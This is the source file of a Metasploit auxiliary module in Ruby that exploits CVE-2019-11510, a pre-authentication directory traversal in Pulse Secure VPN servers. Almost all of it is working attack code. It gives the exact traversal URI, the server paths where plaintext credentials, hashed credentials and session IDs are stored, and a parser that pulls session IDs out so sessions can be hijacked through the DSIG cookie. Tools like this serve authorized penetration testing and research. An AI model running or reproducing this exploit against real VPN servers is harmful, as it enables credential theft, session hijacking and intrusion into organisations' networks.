184 lines
5.3 KiB
Ruby
184 lines
5.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Pulse Secure VPN Arbitrary File Disclosure',
|
|
'Description' => %q{
|
|
This module exploits a pre-auth directory traversal in the Pulse Secure
|
|
VPN server to dump an arbitrary file. Dumped files are stored in loot.
|
|
|
|
If the "Automatic" action is set, plaintext and hashed credentials, as
|
|
well as session IDs, will be dumped. Valid sessions can be hijacked by
|
|
setting the "DSIG" browser cookie to a valid session ID.
|
|
|
|
For the "Manual" action, please specify a file to dump via the "FILE"
|
|
option. /etc/passwd will be dumped by default. If the "PRINT" option is
|
|
set, file contents will be printed to the screen, with any unprintable
|
|
characters replaced by a period.
|
|
|
|
Please see related module exploit/linux/http/pulse_secure_cmd_exec for
|
|
a post-auth exploit that can leverage the results from this module.
|
|
},
|
|
'Author' => [
|
|
'Orange Tsai', # Discovery (@orange_8361)
|
|
'Meh Chang', # Discovery (@mehqq_)
|
|
'Alyssa Herrera', # PoC (@Alyssa_Herrera_)
|
|
'Justin Wagner', # Module (@0xDezzy)
|
|
'wvu' # Module
|
|
],
|
|
'References' => [
|
|
['CVE', '2019-11510'],
|
|
['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/'],
|
|
['URL', 'https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html'],
|
|
['URL', 'https://hackerone.com/reports/591295']
|
|
],
|
|
'DisclosureDate' => '2019-04-24', # Public disclosure
|
|
'License' => MSF_LICENSE,
|
|
'Actions' => [
|
|
['Automatic', 'Description' => 'Dump creds and sessions'],
|
|
['Manual', 'Description' => 'Dump an arbitrary file (FILE option)']
|
|
],
|
|
'DefaultAction' => 'Automatic',
|
|
'DefaultOptions' => {
|
|
'RPORT' => 443,
|
|
'SSL' => true,
|
|
'HttpClientTimeout' => 5 # This seems sane
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [IOC_IN_LOGS],
|
|
'Reliability' => [],
|
|
'RelatedModules' => ['exploit/linux/http/pulse_secure_cmd_exec']
|
|
}
|
|
))
|
|
|
|
register_options([
|
|
OptString.new(
|
|
'FILE',
|
|
[
|
|
true,
|
|
'File to dump (manual mode only)',
|
|
'/etc/passwd'
|
|
]
|
|
),
|
|
OptBool.new(
|
|
'PRINT',
|
|
[
|
|
false,
|
|
'Print file contents (manual mode only)',
|
|
true
|
|
]
|
|
)
|
|
])
|
|
end
|
|
|
|
def the_chosen_one
|
|
return datastore['FILE'], 'User-chosen file'
|
|
end
|
|
|
|
def run
|
|
files =
|
|
case action.name
|
|
when 'Automatic'
|
|
print_status('Running in automatic mode')
|
|
|
|
# Order by most sensitive first
|
|
[
|
|
plaintext_creds,
|
|
session_ids,
|
|
hashed_creds
|
|
]
|
|
when 'Manual'
|
|
print_status('Running in manual mode')
|
|
|
|
# /etc/passwd by default
|
|
[the_chosen_one]
|
|
end
|
|
|
|
files.each do |path, info|
|
|
print_status("Dumping #{path}")
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => dir_traversal(path),
|
|
'partial' => true # Allow partial response due to timeout
|
|
)
|
|
|
|
unless res
|
|
fail_with(Failure::Unreachable, "Could not dump #{path}")
|
|
end
|
|
|
|
handle_response(res, path, info)
|
|
end
|
|
end
|
|
|
|
def handle_response(res, path, info)
|
|
case res.code
|
|
when 200
|
|
case action.name
|
|
when 'Automatic'
|
|
# TODO: Parse plaintext and hashed creds
|
|
if path == session_ids.first
|
|
print_status('Parsing session IDs...')
|
|
|
|
parse_sids(res.body).each do |sid|
|
|
print_good("Session ID found: #{sid}")
|
|
end
|
|
end
|
|
when 'Manual'
|
|
printable = res.body.gsub(/[^[:print:][:space:]]/, '.')
|
|
|
|
print_line(printable) if datastore['PRINT']
|
|
end
|
|
|
|
print_good(store_loot(
|
|
self.name, # ltype
|
|
'application/octet-stream', # ctype
|
|
rhost, # host
|
|
res.body, # data
|
|
path, # filename
|
|
info # info
|
|
))
|
|
when 302
|
|
fail_with(Failure::NotVulnerable, "Redirected to #{res.redirection}")
|
|
when 400
|
|
print_error("Invalid path #{path}")
|
|
when 404
|
|
print_error("#{path} not found")
|
|
else
|
|
print_error("I don't know what a #{res.code} code is")
|
|
end
|
|
end
|
|
|
|
def dir_traversal(path)
|
|
normalize_uri(
|
|
'/dana-na/../dana/html5acc/guacamole/../../../../../..',
|
|
"#{path}?/dana/html5acc/guacamole/" # Bypass query/vars_get
|
|
)
|
|
end
|
|
|
|
def parse_sids(body)
|
|
body.to_s.scan(/randomVal([[:xdigit:]]+)/).flatten.reverse
|
|
end
|
|
|
|
def plaintext_creds
|
|
return '/data/runtime/mtmp/lmdb/dataa/data.mdb', 'Plaintext credentials'
|
|
end
|
|
|
|
def session_ids
|
|
return '/data/runtime/mtmp/lmdb/randomVal/data.mdb', 'Session IDs'
|
|
end
|
|
|
|
def hashed_creds
|
|
return '/data/runtime/mtmp/system', 'Hashed credentials'
|
|
end
|
|
|
|
end
|